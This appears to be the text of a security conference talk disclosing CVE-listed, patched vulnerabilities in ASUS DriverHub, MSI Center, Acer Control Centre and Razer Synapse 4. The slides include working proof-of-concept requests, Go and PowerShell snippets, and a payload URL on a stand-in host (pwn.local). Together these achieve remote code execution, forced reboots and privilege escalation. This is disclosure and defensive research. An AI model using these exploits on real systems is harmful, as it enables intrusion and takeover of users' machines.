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Agenda

A story about vulns in “bloatware” products.

Asus Driver Hub, MSI Center, Acer Control 
Centre & Razer Synapse 4. (all of which have 
fixes).

Conclusion.



Tools you’ll see:

- Binary Ninja
- dnSpyEx
- Frida
- Burp
- Process Explorer
- Procmon
- OleView.NET

Code you’ll see:

- Pseudo-C
- Assembly
- .NET
- JavaScript
- Logs!



ASUS DriverHub
CVE-2025-3462, CVE-2025-3463
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ASUS DriverHub



ASUS DriverHub

“IsSupport”: false -> true



ASUS DriverHub



ADU.exe
  ASUS DriverHub.exe

ASUS DriverHub



ADU.exe :53000

ASUS DriverHub



ASUS DriverHub



ASUS DriverHub



Reboot Request - Flow

https://driverhub.asus.com

ASUS DriverHub

In Browser



Reboot Request - Flow

https://driverhub.asus.com

fetch(“localhost:5300")>

ASUS DriverHub

In Browser

JavaScript



Reboot Request - Flow

https://driverhub.asus.com

fetch(“localhost:5300")

ExitWindowsEx()

>

>

ASUS DriverHub

In Browser

JavaScript

Win32 API



Reboot Request - Testing

Invoke-WebRequest 
  -Uri "http://127.0.0.1:53000/asus/v1.0/Reboot"
 -Method POST 

ASUS DriverHub



Reboot Request - Testing

Invoke-WebRequest 
  -Uri "http://127.0.0.1:53000/asus/v1.0/Reboot"
  -Method POST  

Invoke-WebRequest : Access denied

ASUS DriverHub



Reboot Request - Testing

ASUS DriverHub



Reboot Request - Testing

Invoke-WebRequest 
  -Uri "http://127.0.0.1:53000/asus/v1.0/Reboot" 
  -Method POST 
  -Headers @{Origin = "https://driverhub.asus.com"}

ASUS DriverHub



Reboot Request - Testing

Invoke-WebRequest 
  -Uri "http://127.0.0.1:53000/asus/v1.0/Reboot" 
  -Method POST 
  -Headers @{Origin = "https://driverhub.asus.com"}

Invoke-WebRequest : The remote server returned an 
error: (500) Internal Server Error.

ASUS DriverHub



Reboot Request - Testing

ASUS DriverHub



ASUS DriverHub



Reboot Request - Testing

Invoke-WebRequest 
  -Uri "http://127.0.0.1:53000/asus/v1.0/Reboot" 
  -Method POST 
  -Headers @{ 
 Origin = "https://driverhub.asus.com"; 
 ...
  } 
  -Body (ConvertTo-Json 
 @{ Event = @(@{ Cmd = "Reboot" }) }
  )

ASUS DriverHub



ASUS DriverHub



The string_contains() bug

ASUS DriverHub



Origin Header Validation

https://driverhub.asus.com https://driverhub.notasus.com

ASUS DriverHub



Origin Header Validation

https://driverhub.asus.com https://driverhub.notasus.com

fetch("localhost:5300/asus/v1.0/Reboot")

ASUS DriverHub



Origin Header Validation

https://driverhub.asus.com https://driverhub.notasus.com

fetch("localhost:5300/asus/v1.0/Reboot")

Origin: driverhub.asus.com Origin: driverhub.notasus.com

ASUS DriverHub



Origin Header Validation

https://driverhub.asus.com https://driverhub.notasus.com

fetch("localhost:5300/asus/v1.0/Reboot")

Origin: driverhub.asus.com Origin: driverhub.notasus.com

OK FAIL
ADU.exe:53000ADU.exe:53000

ASUS DriverHub



ASUS DriverHub



ASUS DriverHub



driverhub.asus.com == .asus.com

ASUS DriverHub



driverhub.asus.com == .asus.com

ASUS DriverHub

Ok



driverhub.asus.com.local == .asus.com

ASUS DriverHub



driverhub.asus.com.local == .asus.com

ASUS DriverHub

Ok?



Reboot Request – Wrong Origin

Invoke-WebRequest 
  -Uri "http://127.0.0.1:53000/asus/v1.0/Reboot" 
  -Method POST 
  -Headers @{ 
 Origin = "https://driverhub.asus.com.local"; 
 ...
  } 
  -Body (ConvertTo-Json 
 @{ Event = @(@{ Cmd = "Reboot" }) }
  )

ASUS DriverHub



ASUS DriverHub



By just visiting a page 
(intended or not)...

• You can reboot your friend's computer.

ASUS DriverHub



By just visiting a page 
(intended or not)...

• You can reboot your friend's computer.

• Arbitrary origins can interact with the ASUS 
DriverHub web server.

ASUS DriverHub



ASUS DriverHub

Gaining RCE



/asus/v1.0/Initialize
/asus/v1.0/DeviceInfo
/asus/v1.0/InstallApp
/asus/v1.0/NotifyFrequency
/asus/v1.0/UpdateApp
/asus/v1.0/WriteFbk
/asus/v1.0/Status
/asus/v1.0/Cancel
/asus/v1.0/Log
/asus/v1.0/Reboot

ASUS DriverHub



/asus/v1.0/Initialize
/asus/v1.0/DeviceInfo
/asus/v1.0/InstallApp
/asus/v1.0/NotifyFrequency
/asus/v1.0/UpdateApp
/asus/v1.0/WriteFbk
/asus/v1.0/Status
/asus/v1.0/Cancel
/asus/v1.0/Log
/asus/v1.0/Reboot

ASUS DriverHub



UpdateApp Analysis
{
  "List": [
    {
      "Url": "",
      "Name": ""
    }
  ]
}

ASUS DriverHub



UpdateApp Analysis
{
  "List": [
    {
      "Url": "",
      "Name": ""
    }
  ]
}

ASUS DriverHub



UpdateApp Analysis
{
  "List": [
    {
      "Url": "//pwn.local/pwn.exe",
      "Name": ""
    }
  ]
}

ASUS DriverHub



UpdateApp Analysis
Invoke-WebRequest 
  -Uri "http://127.0.0.1:53000/asus/v1.0/UpdateApp" 
  -Method POST 
  -Headers @{ 
 Origin = "https://driverhub.asus.com.local"; 
 ...
  } 
  -Body (ConvertTo-Json 
 @{ List = @(@{ 
  Url = "http://pwn.local/pwn.exe";
  Name = ""
    }) }
  )

ASUS DriverHub



UpdateApp Analysis

ASUS DriverHub



UpdateApp Analysis

Remember string_contains() ?

ASUS DriverHub



UpdateApp Analysis

{
  "List": [
    {
      "Url": "//e.asus.com.pwn.local/pwn.exe",
      "Name": ""
    }
  ]
}

ASUS DriverHub



UpdateApp Analysis

ASUS DriverHub



ASUS DriverHub



ASUS DriverHub



1-click RCE DEMO
Asus DriverHub v1.0.4.9





Running Elevated with a UAC / 
SxS Assembly Manifest

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>

</assembly>

ASUS DriverHub



Running Elevated with a UAC / 
SxS Assembly Manifest

mt.exe \
  -manifest elevated.manifest \
  -outputresource:pwn.exe;#1

ASUS DriverHub



Running Elevated with a UAC / 
SxS Assembly Manifest

ASUS DriverHub



Running Elevated with a UAC / 
SxS Assembly Manifest

ASUS DriverHub



ASUS DriverHub



ASUS DriverHub Summary

• An alternative way to reboot your friend's computer 
or execute code.

• Can auto install itself depending on BIOS setting.

• Misuse of an “Unauthenticated” RPC mechanism.

• Draft Chrome Spec to gate private network access. 
https://wicg.github.io/private-network-access/

• Disclosure was messy (more on that later)

ASUS DriverHub





What are 
other vendors doing?



MSI Center
CVE-2025-27812, CVE-2025-27813



MSI Center



MSI Center



Privileged Process Listening 
on an Arbitrary TCP Port

MSI Center



Custom TCP Protocol

MSI Center



.NET Binary == Easy Reversing



Handling Socket Data

• CS_CommonAPI.C_Server::Launch_Server()

• CS_CommonAPI.C_Server::Callback_Accept()
• CS_CommonAPI.C_Server::Callback_Read()

• MSI.CentralServer.C_Features::DataResponse
(CS_CommonAPI.Struct_RequestData)

MSI Center



Protocol Commands

CMD_Reboot = { 5, 3, 1, 8, 255, 0, 0, 1 }
CMD_Uninstall = { 5, 3, 1, 8, 255, 255, 255, 254 }
...

MSI Center



Matching Protocol Commands

if (C_API.CompareBytes(Data, CMD_Reboot)) {}

MSI Center



MSI Center



One sock.send() to reboot

// CMD_Reboot = 5, 3, 1, 8, 255, 0, 0, 1

var payload = []byte{
 0x05, 0x03, 0x01, 0x08, 0xff, 0x00, 0x00, 0x01
}

conn, _ := net.Dial("tcp", remote)
_, err = conn.Write(payload)

// send, and nothing happens :(

MSI Center



0x0f, 0x27, 0x00, 0x00, 0x05, 
0x03, 0x01, 0x08, 0xff, 0x00, 
0x00, 0x01

MSI Center



One sock.send() to reboot

// CMD_Reboot = 5, 3, 1, 8, 255, 0, 0, 1

var payload = []byte{
 0x0f, 0x27, 0x00, 0x00,
 0x05, 0x03, 0x01, 0x08, 0xff, 0x00, 0x00, 0x01
}

conn, _ := net.Dial ("tcp", remote)
_, err = conn.Write(payload)

MSI Center



MSI Center



With one sock.send()

• Another way to reboot your computer.

• Can interact with a privileged process using 
the custom protocol.

MSI Center



MSI Center: Software Architecture

MSI Center



Component Loader

• Scan program directory for .dll’s matching 
API_*.dll.

• Try and load a target DLL and get a handle 
on a component specific entry point.

• Init and register the DLL as a component.

MSI Center



Component -> Command Map

• Components have a unique ID
• Components implement unique commands
• TCP data frame starts with a component ID, 
followed by a command.



Transfer_Command(data)

MSI Center



LPE 1 in MSI Center

MSI Center



CMD_AutoUpdateSDK

• In the “main” module: MSI.CentralServer 
(id: 0x0f, 0x27, 0x00, 0x00)

• Accepted two comma separated arguments
• A target program
• Arguments for it

• :)

MSI Center



CMD_AutoUpdateSDK - Flow

The $target is copied to: 
 C:\Windows\Temp\MSI Center SDK.exe

CS_CommonAPI.EX_Task::ExecuteTask(
 string RunExePath,
 string RunArguments, ..., 

bool IsSupervisor = true, ...
)

MSI Center



Code Signing Check

Call Native DLL for WinVerifyTrust()

MSI Center



MSI Center



MSI Center



CMD_AutoUpdateSDK Revisited

Copy Target

1

MSI Center



CMD_AutoUpdateSDK Revisited

Copy Target

C:\Users\public\prog.exe -> C:\Windows\Temp\MSI Center SDK.exe

1

MSI Center



CMD_AutoUpdateSDK Revisited

Copy Target Verify Target>

1 2

MSI Center



CMD_AutoUpdateSDK Revisited

Copy Target Verify Target>

WinVerifyTrust() -> C:\Windows\Temp\MSI Center SDK.exe

1 2

MSI Center



CMD_AutoUpdateSDK Revisited

Copy Target Verify Target Schedule Task> >

1 2 3

MSI Center



CMD_AutoUpdateSDK Revisited

Copy Target Verify Target Schedule Task> >

1 2 3

C:\Windows\Temp\MSI Center SDK.exe as SYSTEM

MSI Center



CMD_AutoUpdateSDK Revisited

Copy Target Verify Target Schedule Task

Run Task
(SYSTEM)

> >

1 2 3

4

MSI Center



CMD_AutoUpdateSDK Revisited

Copy Target Verify Target Schedule Task

Run Task

> >

1 2 3

4

MSI Center



CMD_AutoUpdateSDK Revisited

Copy Target Verify Target Schedule Task

Run Task

> >

1 2 3

4

Race Condition

MSI Center



CMD_AutoUpdateSDK Revisited

Copy Target >

1
C:\Users\public\pwn.exe
C:\...\MSI Center\MSI.ToastServer.exe

MSI Center



CMD_AutoUpdateSDK Revisited

Copy Target

Run Task

>

1

4

>

C:\Users\public\pwn.exe
C:\...\MSI Center\MSI.ToastServer.exe

C:\Windows\Temp\MSI Center SDK.exe

MSI Center



Exploit Plan

• Race to Execute()

• Thread 1 loops legit MSI.ToastServer.exe
• Thread 2 loops malicious pwn.exe

• Scheduled task runs MSI Center SDK.exe not 
knowing which one is malicious.

MSI Center



Local Privilege 
Escalation 1 - DEMO
MSI Center v2.0.48.0





LPE 2 in MSI Center

MSI Center



CMD_Common_RunAMDVbFlashSetup

Lived in API_Support.dll

Uses ExecuteTask(), but its own implementation.

API_Support.EX_Task::ExecuteTask and not 
CS_CommonAPI.EX_Task::ExecuteTask

MSI Center



API_Support.Ex_Task::ExecuteTask had no 
signature validation.

MSI Center



LPE 2 Exploit
func lpe2(path string) {
 // API_Support ID: []byte{0xca, 0x00, 0x00, 0x00}
 // invoking CMD_Common_RunAMDVbFlashSetup

 data := cmdForId(API_Support, []byte{
  5, 3, 1, 8, 1, 0, 3, 3
 })

 data = append(data, []byte(path)...)

 sendPayload(data)
}

MSI Center



MSI Center Summary

• Another way to reboot your computer or 
execute code in a privileged context.

• Comes pre-installed with some laptops.

• More misuse of an “Unauthenticated” RPC 
mechanism.

MSI Center



Acer Control Centre
CVE-2025-5491



Acer Control Centre



No TCP Service, but a Named Pipe

Acer Control Centre



Client & Server Architecture

ACCSvc.exe

NT AUTHORITY\SYSTEM,
Native Binary

ACCStd.exe

Normal User,
.Net Binary

Acer Control Centre



Client & Server Architecture

ACCSvc.exe

NT AUTHORITY\SYSTEM,
Native Binary

ACCStd.exe

Normal User,
.Net Binary

treadstone_service
_LightMode

Acer Control Centre



Client & Server Architecture

SendCommandByNamedPipe(
 pipe, 7, {target, 113}
)

Acer Control Centre



Client & Server Architecture

ACCSvc.exe

NT AUTHORITY\SYSTEM,
Native Binary

ACCStd.exe

Normal User,
.Net Binary

treadstone_service
_LightMode

Acer Control Centre



Client & Server Architecture

ACCSvc.exe

NT AUTHORITY\SYSTEM,
Native Binary

ACCStd.exe

Normal User,
.Net Binary

treadstone_service
_LightMode

<---- 7, {target, 113}

Acer Control Centre



Client & Server Architecture

ACCSvc.exe

NT AUTHORITY\SYSTEM,
Native Binary

ACCStd.exe

Normal User,
.Net Binary

treadstone_service
_LightMode

<---- 7, {target, 113}

CreateProcessAsUser(…, target, …)

Acer Control Centre



Acer Control Centre



Guests get FILE_ALL_ACCESS

Acer Control Centre



Guests get FILE_ALL_ACCESS

Acer Control Centre

No LPE... 
but RCE!



Remote Code Execution 
- DEMO
Acer Control Centre v4.00.3054.0





• Why would ACCSvc.exe run as 
SYSTEM, but execute code as a 
normal user?

• What exactly is that 113 used 
in SendCommandByNamedPipe?

• What other commands exist 
beyond command 7?

Acer Control Centre



7 as a command number

Acer Control Centre



Frida to Trace Commands

Interceptor.attach(TARGET(0x1400082b0), { onEnter(args) { … }});
Interceptor.attach(TARGET(0x140008530), { onEnter(args) { … }});
Interceptor.attach(TARGET(0x1400085f0), { onEnter(args) { … }});
Interceptor.attach(TARGET(0x1400086b0), { onEnter(args) { … }});
Interceptor.attach(TARGET(0x140008810), { onEnter(args) { … }});
Interceptor.attach(TARGET(0x140008920), { onEnter(args) { … }});
Interceptor.attach(TARGET(0x140008a80), { onEnter(args) { … }});
Interceptor.attach(TARGET(0x140008a88), { onEnter(args) { … }});

Acer Control Centre



Acer Control Centre



Command 7 - Revisited

int64_t sub_140007570(
 PWSTR arg1,  <--- Target Process Path
 int64_t arg2, 
 PROCESS_INFORMATION* arg3, 
 int32_t arg4  <--- Number 113
)

Acer Control Centre



Command 7 - Revisited

0x72 == 114

Acer Control Centre



Command 7 - Revisited

0x3000 == 12288

S-1-16-12288 == ML_HIGH [0]

[0] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab



Command 7 - Revisited

113 = Normal User Context
114 = Elevated User Context

Acer Control Centre



Command 7 - Revisited

target = “\some\payload.exe”

SendCommandByNamedPipe(
 pipe, 7, {target, 114}
)

Acer Control Centre



Notepad as SYSTEM

Acer Control Centre



Yes, it 
works 
remotely 
too :)

Acer Control Centre



Acer Control Centre Summary

• No reboot POC, but a way to execute code in 
a privileged context, remotely.

• Comes pre-installed with some laptops.

• While not TCP, poorly privileged Named Pipe 
is effectively the same as listening on 
0.0.0.0.

Acer Control Centre



Razer Synapse 4
CVE-2025-27811



Razer Synapse 4



The cost of fiddling with 
your RGB



Razer Synapse 4



razer_elevation_service

• No listening ports 

• No named pipes

• C++ binary

Razer Synapse 4



Procmon – Sub Process

Razer Synapse 4



Electron Asar Extraction

https://www.electronjs.org/docs/latest/tutorial/asar-archives



Foreign Function Interface

const res = simpleServiceInitialize(arg1)

JavaScript

void simpleServiceInitialize(const * arg1)

simple_service.dll

fork of: https://github.com/node-ffi-napi/node-ffi-napi

node-ffi

Razer Synapse 4



FFI from Node to simple_service.dll



FFI from Node to simple_service.dll



Testing Plan

• Load simple_service.dll in my own C++ 
wrapper

• Call methods to test

• Use the client JavaScript as argument / flow  
reference

Razer Synapse 4



Testing Plan – POC
simpleServiceInitialize(initializeCallback);

...

const char *param1 = "";
const char *param2 = "";
const char *param3 = "";

simpleLaunchUserAppProcess(
 param1, param2, param3, launchCallback
);

Razer Synapse 4



Testing Plan – POC Paths

param1 is a folder in: 

%APPDATA%\Local\Razer\RazerAppEngine\
 User Data\Apps\param1

param2 is a path relative to param1

param1\param2

Razer Synapse 4



Testing Plan – POC Paths

simpleLaunchUserAppProcess(
 // %APPDATA%\Local\Razer\RazerAppEngine\User Data\Apps\
 "Common",
 // payload
 "adduser.exe",
 ...
)

Razer Synapse 4



Testing Plan – POC

Razer Synapse 4



Razer Synapse 4



Signature Verification... in 
the simple_service client DLL!

Razer Synapse 4



No error, no success?

Razer Synapse 4



Running Elevated with a UAC / 
SxS Assembly Manifest

Razer Synapse 4



Running Elevated with a UAC / 
SxS Assembly Manifest

mt.exe \
  -manifest elevated.manifest \
  -outputresource:pwn.exe;#1

Razer Synapse 4



Local Privilege 
Escalation - DEMO
Razer Synapse 4 with razer_elevation_service.exe 
v1.1.0.5





LPE, as a one-liner

Razer Synapse 4



LPE, as a one-liner

Razer Synapse 4



LPE, as a one-liner

$com = New-Object -ComObject 'RzUtility.Elevator'

Razer Synapse 4



LPE, as a one-liner

$com = New-Object -ComObject 'RzUtility.Elevator'

$com | Get-Member
 TypeName: System.__ComObject#{bfe24d59-6568-4179-8ae5-d9d53869a3e3}

Name                MemberType Definition
----                ---------- ----------
CopyRazerFile       Method     void CopyRazerFile (string, string, string)
GetVersionInfo      Method     void GetVersionInfo (string)
LaunchProcess       Method     void LaunchProcess (string, string, uint, int)
LaunchProcessNoWait Method     void LaunchProcessNoWait (string, string, uint)

Razer Synapse 4



LPE, as a one-liner

$com = New-Object -ComObject 'RzUtility.Elevator’

$com | Get-Member
 TypeName: System.__ComObject#{bfe24d59-6568-4179-8ae5-d9d53869a3e3}

Name                MemberType Definition
----                ---------- ----------
CopyRazerFile       Method     void CopyRazerFile (string, string, string)
GetVersionInfo      Method     void GetVersionInfo (string)
LaunchProcess       Method     void LaunchProcess (string, string, uint, int)
LaunchProcessNoWait Method     void LaunchProcessNoWait (string, string, uint)

$com.LaunchProcessNoWait("c:\users\user\desktop\adduser.exe", "", 1)

Razer Synapse 4



LPE, as a one-liner

(New-Object -ComObject 'RzUtility.Elevator'). `
  LaunchProcessNoWait( `
    "c:\users\user\desktop\adduser.exe ", "", 1 `
)

Razer Synapse 4



Wrap up



Failed Attempts

• HP Support Assist
• Gigabyte Control Center
• Lenovo Vantage[0]

• And more...

[0] https://www.atredis.com/blog/2025/7/7/uncovering-privilege-escalation-bugs-in-lenovo-vantage



The PWN Triad

A privileged service.

An RPC mechanism (TCP, Named Pipe, COM, etc.)

No auth / broken validation / etc.



The Vulnerabilities

-1-click RCE in Asus DriverHub (CVE-2025-3462,
 CVE-2025-3463)
-LPE in MSI Centre (CVE-2025-27812, CVE-2025-27813)
-LPE / RCE in Acer Control Centre (CVE-2025-5491)
-LPE in Razer Synapse 4 (CVE-2025-27811)



On Disclosure

• ASUS vuln disclosure site has a WAF, you can’t 
send them POC’s.

• ASUS strung along another researcher instead of 
calling a duplicate. I’m sorry MrBruh![0]

• MSI responded amazingly fast and were the first 
to provide a fix.

• Razer Bug Bounty Program fronting the security 
team was frustrating to interact with.

[0] https://mrbruh.com/asusdriverhub/



One more thing…



Named Pipe Comms Analysis



Named Pipe Comms Analysis

Frida based tools (https://frida.re)
  

• Scripts hooking ReadFile / WriteFile / etc.

• https://github.com/CyberCX-STA/Peep 
• https://github.com/synacktiv/thats_no_pipe

https://frida.re/


Named Pipe Comms Analysis

Other Open-Source tools
  
• https://github.com/cyberark/PipeViewer 
• https://github.com/grayed/PipeExplorer
• https://github.com/gabriel-sztejnworcel/pipe-
intercept 



Named Pipe Comms Analysis

Commercial Tools

• IO Ninja Pipe Monitor 
(https://ioninja.com/plugins/pipe-monitor.html)

https://ioninja.com/plugins/pipe-monitor.html
https://ioninja.com/plugins/pipe-monitor.html
https://ioninja.com/plugins/pipe-monitor.html


Named Pipe Comms Analysis

Commercial Tools

• IO Ninja Pipe Monitor 
(https://ioninja.com/plugins/pipe-monitor.html)

Or some PowerShell

• Get-ChildItem \\.\pipe\

https://ioninja.com/plugins/pipe-monitor.html
https://ioninja.com/plugins/pipe-monitor.html
https://ioninja.com/plugins/pipe-monitor.html


pipetap

•Multi process / target
•Pipe list / perm enum
•Pipe comms log & export
•On-the-fly editing
•Pipe client (incl. remote in-process 
and TCP -> pipe proxy)





Coming Soon™

https://github.com/sensepost/pipetap



Conclusion

• Products, built in 2025, are still doing 
silly RPC things.

• Think twice if you need that bloatware.

• Do a quick triage of any bloatware you have 
installed, check for the PWN triad and then 
uninstall them.



Thanks!

@leonjza

https://github.com/sensepost/bloatware-pwn


